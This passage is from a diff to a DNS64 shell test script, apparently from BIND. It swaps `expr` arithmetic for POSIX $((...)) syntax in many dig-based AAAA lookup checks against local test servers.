 $DIG $DIGOPTS aaaa-only.example. @10.53.0.1 -b 10.53.0.1 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::2" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking A only lookup works, recursive only ($n)"
 ret=0
 $DIG $DIGOPTS a-only.example. @10.53.0.1 -b 10.53.0.1 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:bbbb::102:305" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking A and AAAA lookup works, recursive only ($n)"
 ret=0
 $DIG $DIGOPTS a-and-aaaa.example. @10.53.0.1 -b 10.53.0.1 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::1" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking non-mapped A lookup works, recursive only ($n)"
 ret=0
 $DIG $DIGOPTS a-not-mapped.example. @10.53.0.1 -b 10.53.0.1 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 0" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking NODATA AAAA lookup works, recursive only ($n)"
 ret=0
 $DIG $DIGOPTS mx-only.example. @10.53.0.1 -b 10.53.0.1 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 0" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking non-existent AAAA lookup works, recursive only ($n)"
 ret=0
 $DIG $DIGOPTS non-existent.example. @10.53.0.1 -b 10.53.0.1 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking non-excluded AAAA via CNAME lookup works, recursive only ($n)"
 ret=0
 $DIG $DIGOPTS cname-aaaa-only.example. @10.53.0.1 -b 10.53.0.1 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::2" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking excluded only AAAA via CNAME lookup works, recursive only ($n)"
 ret=0
 $DIG $DIGOPTS cname-excluded-only.example. @10.53.0.1 -b 10.53.0.1 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking excluded AAAA and non-mapped A via CNAME lookup works, recursive only ($n)"
 ret=0
 $DIG $DIGOPTS cname-excluded-bad-a.example. @10.53.0.1 -b 10.53.0.1 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking excluded only AAAA and mapped A via CNAME lookup works, recursive only ($n)"
 ret=0
@@ -443,36 +447,36 @@ $DIG $DIGOPTS cname-excluded-good-a.example. @10.53.0.1 -b 10.53.0.1 aaaa > dig.
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 2," dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:bbbb::102:304" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking AAAA only via CNAME lookup works, recursive only ($n)"
 ret=0
 $DIG $DIGOPTS cname-aaaa-only.example. @10.53.0.1 -b 10.53.0.1 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::2" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking A only via CNAME lookup works, recursive only ($n)"
 ret=0
 $DIG $DIGOPTS cname-a-only.example. @10.53.0.1 -b 10.53.0.1 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:bbbb::102:305" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking A and AAAA via CNAME lookup works, recursive only ($n)"
 ret=0
 $DIG $DIGOPTS cname-a-and-aaaa.example. @10.53.0.1 -b 10.53.0.1 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::1" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking non-mapped A via CNAME lookup works, recursive only ($n)"
 ret=0
@@ -480,9 +484,9 @@ $DIG $DIGOPTS cname-a-not-mapped.example. @10.53.0.1 -b 10.53.0.1 aaaa > dig.out
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns2.test$n > /dev/null || ret=1
 grep "CNAME	a-not-mapped.example." dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking NODATA AAAA via CNAME lookup works, recursive only ($n)"
 ret=0
@@ -490,18 +494,18 @@ $DIG $DIGOPTS cname-mx-only.example. @10.53.0.1 -b 10.53.0.1 aaaa > dig.out.ns2.
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns2.test$n > /dev/null || ret=1
 grep "CNAME	mx-only.example." dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking non-existent AAAA via CNAME lookup works, recursive only ($n)"
 ret=0
 $DIG $DIGOPTS cname-non-existent.example. @10.53.0.1 -b 10.53.0.1 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Check the example. domain recursive only w/o recursion
 
@@ -510,9 +514,9 @@ ret=0
 $DIG $DIGOPTS +norec aaaa-only.example. @10.53.0.1 -b 10.53.0.1 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::2" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking excluded only AAAA lookup works, recursive only +norec ($n)"
 ret=0
@@ -520,9 +524,9 @@ $DIG $DIGOPTS +norec excluded-only.example. @10.53.0.1 -b 10.53.0.1 aaaa > dig.o
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:eeee::3" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking excluded AAAA and non-mapped A lookup works, recursive only +norec ($n)"
 ret=0
@@ -530,18 +534,18 @@ $DIG $DIGOPTS +norec excluded-bad-a.example. @10.53.0.1 -b 10.53.0.1 aaaa > dig.
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:eeee::2" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking excluded only AAAA and mapped A lookup works, recursive only +norec ($n)"
 ret=0
 $DIG $DIGOPTS +norec excluded-good-a.example. @10.53.0.1 -b 10.53.0.1 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:eeee::1" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking partially excluded only AAAA lookup works, recursive only +norec ($n)"
 ret=0
@@ -550,9 +554,9 @@ grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 2," dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:eeee:" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::3" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking partially-excluded AAAA and non-mapped A lookup works, recursive only +norec ($n)"
 ret=0
@@ -561,9 +565,9 @@ grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 2," dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:eeee:" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::2" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking partially-excluded only AAAA and mapped A lookup works, recursive only +norec ($n)"
 ret=0
@@ -572,71 +576,71 @@ grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 2," dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:eeee:" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::1" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking AAAA only lookup works, recursive only +norec ($n)"
 ret=0
 $DIG $DIGOPTS +norec aaaa-only.example. @10.53.0.1 -b 10.53.0.1 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::2" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking A only lookup works, recursive only +norec ($n)"
 ret=0
 $DIG $DIGOPTS +norec a-only.example. @10.53.0.1 -b 10.53.0.1 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 0," dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking A and AAAA lookup works, recursive only +norec ($n)"
 ret=0
 $DIG $DIGOPTS +norec a-and-aaaa.example. @10.53.0.1 -b 10.53.0.1 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::1" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking non-mapped A lookup works, recursive only +norec ($n)"
 ret=0
 $DIG $DIGOPTS +norec a-not-mapped.example. @10.53.0.1 -b 10.53.0.1 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 0" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking NODATA AAAA lookup works, recursive only +norec ($n)"
 ret=0
 $DIG $DIGOPTS +norec mx-only.example. @10.53.0.1 -b 10.53.0.1 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 0" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking non-existent AAAA lookup works, recursive only +norec ($n)"
 ret=0
 $DIG $DIGOPTS +norec non-existent.example. @10.53.0.1 -b 10.53.0.1 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking non-excluded AAAA via CNAME lookup works, recursive only +norec ($n)"
 ret=0
 $DIG $DIGOPTS +norec cname-aaaa-only.example. @10.53.0.1 -b 10.53.0.1 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::2" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking excluded only AAAA via CNAME lookup works, recursive only +norec ($n)"
 ret=0
@@ -644,9 +648,9 @@ $DIG $DIGOPTS +norec cname-excluded-only.example. @10.53.0.1 -b 10.53.0.1 aaaa >
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 2," dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:eeee::3" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking excluded AAAA and non-mapped A via CNAME lookup works, recursive only +norec ($n)"
 ret=0
@@ -654,9 +658,9 @@ $DIG $DIGOPTS +norec cname-excluded-bad-a.example. @10.53.0.1 -b 10.53.0.1 aaaa
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 2," dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:eeee::2" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking excluded only AAAA and mapped A via CNAME lookup works, recursive only +norec ($n)"
 ret=0
@@ -664,18 +668,18 @@ $DIG $DIGOPTS +norec cname-excluded-good-a.example. @10.53.0.1 -b 10.53.0.1 aaaa
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 2," dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:eeee::1" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking AAAA only via CNAME lookup works, recursive only +norec ($n)"
 ret=0
 $DIG $DIGOPTS +norec cname-aaaa-only.example. @10.53.0.1 -b 10.53.0.1 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::2" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking A only via CNAME lookup works, recursive only +norec ($n)"
 ret=0
@@ -683,18 +687,18 @@ $DIG $DIGOPTS +norec cname-a-only.example. @10.53.0.1 -b 10.53.0.1 aaaa > dig.ou
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns2.test$n > /dev/null || ret=1
 grep "CNAME	a-only.example." dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking A and AAAA via CNAME lookup works, recursive only +norec ($n)"
 ret=0
 $DIG $DIGOPTS +norec cname-a-and-aaaa.example. @10.53.0.1 -b 10.53.0.1 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::1" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking non-mapped A via CNAME lookup works, recursive only +norec ($n)"
 ret=0
@@ -702,9 +706,9 @@ $DIG $DIGOPTS +norec cname-a-not-mapped.example. @10.53.0.1 -b 10.53.0.1 aaaa >
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns2.test$n > /dev/null || ret=1
 grep "CNAME	a-not-mapped.example." dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking NODATA AAAA via CNAME lookup works, recursive only +norec ($n)"
 ret=0
@@ -712,18 +716,18 @@ $DIG $DIGOPTS +norec cname-mx-only.example. @10.53.0.1 -b 10.53.0.1 aaaa > dig.o
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns2.test$n > /dev/null || ret=1
 grep "CNAME	mx-only.example." dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking non-existent AAAA via CNAME lookup works, recursive only +norec ($n)"
 ret=0
 $DIG $DIGOPTS +norec cname-non-existent.example. @10.53.0.1 -b 10.53.0.1 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Check the example. domain from non client
 
@@ -732,152 +736,152 @@ ret=0
 $DIG $DIGOPTS aaaa-only.example. @10.53.0.2 -b 10.53.0.3 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::2" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking excluded only AAAA from non-client lookup works ($n)"
 ret=0
 $DIG $DIGOPTS excluded-only.example. @10.53.0.2 -b 10.53.0.3 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:eeee::3" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking excluded AAAA and non-mapped A from non-client lookup works ($n)"
 ret=0
 $DIG $DIGOPTS excluded-bad-a.example. @10.53.0.2 -b 10.53.0.3 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:eeee::2" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking excluded only AAAA and mapped A from non-client lookup works ($n)"
 ret=0
 $DIG $DIGOPTS excluded-good-a.example. @10.53.0.2 -b 10.53.0.3 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:eeee::1" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking AAAA only from non-client lookup works ($n)"
 ret=0
 $DIG $DIGOPTS aaaa-only.example. @10.53.0.2 -b 10.53.0.3 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::2" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking A only from non-client lookup works ($n)"
 ret=0
 $DIG $DIGOPTS a-only.example. @10.53.0.2 -b 10.53.0.3 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 0" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking A and AAAA from non-client lookup works ($n)"
 ret=0
 $DIG $DIGOPTS a-and-aaaa.example. @10.53.0.2 -b 10.53.0.3 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::1" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking non-mapped A from non-client lookup works ($n)"
 ret=0
 $DIG $DIGOPTS a-not-mapped.example. @10.53.0.2 -b 10.53.0.3 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 0" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking NODATA AAAA from non-client lookup works ($n)"
 ret=0
 $DIG $DIGOPTS mx-only.example. @10.53.0.2 -b 10.53.0.3 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 0" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking non-existent AAAA from non-client lookup works ($n)"
 ret=0
 $DIG $DIGOPTS non-existent.example. @10.53.0.2 -b 10.53.0.3 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking non-excluded AAAA via CNAME from non-client lookup works ($n)"
 ret=0
 $DIG $DIGOPTS cname-aaaa-only.example. @10.53.0.2 -b 10.53.0.3 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::2" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking excluded only AAAA via CNAME from non-client lookup works ($n)"
 ret=0
 $DIG $DIGOPTS cname-excluded-only.example. @10.53.0.2 -b 10.53.0.3 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:eeee::3" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking excluded AAAA and non-mapped A via CNAME from non-client lookup works ($n)"
 ret=0
 $DIG $DIGOPTS cname-excluded-bad-a.example. @10.53.0.2 -b 10.53.0.3 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:eeee::2" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking excluded only AAAA and mapped A via CNAME from non-client lookup works ($n)"
 ret=0
 $DIG $DIGOPTS cname-excluded-good-a.example. @10.53.0.2 -b 10.53.0.3 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:eeee::1" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking AAAA only via CNAME from non-client lookup works ($n)"
 ret=0
 $DIG $DIGOPTS cname-aaaa-only.example. @10.53.0.2 -b 10.53.0.3 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::2" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking A only via CNAME from non-client lookup works ($n)"
 ret=0
 $DIG $DIGOPTS cname-a-only.example. @10.53.0.2 -b 10.53.0.3 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking A and AAAA via CNAME from non-client lookup works ($n)"
 ret=0
 $DIG $DIGOPTS cname-a-and-aaaa.example. @10.53.0.2 -b 10.53.0.3 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::1" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking non-mapped A via CNAME from non-client lookup works ($n)"
 ret=0
@@ -885,9 +889,9 @@ $DIG $DIGOPTS cname-a-not-mapped.example. @10.53.0.2 -b 10.53.0.3 aaaa > dig.out
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns2.test$n > /dev/null || ret=1
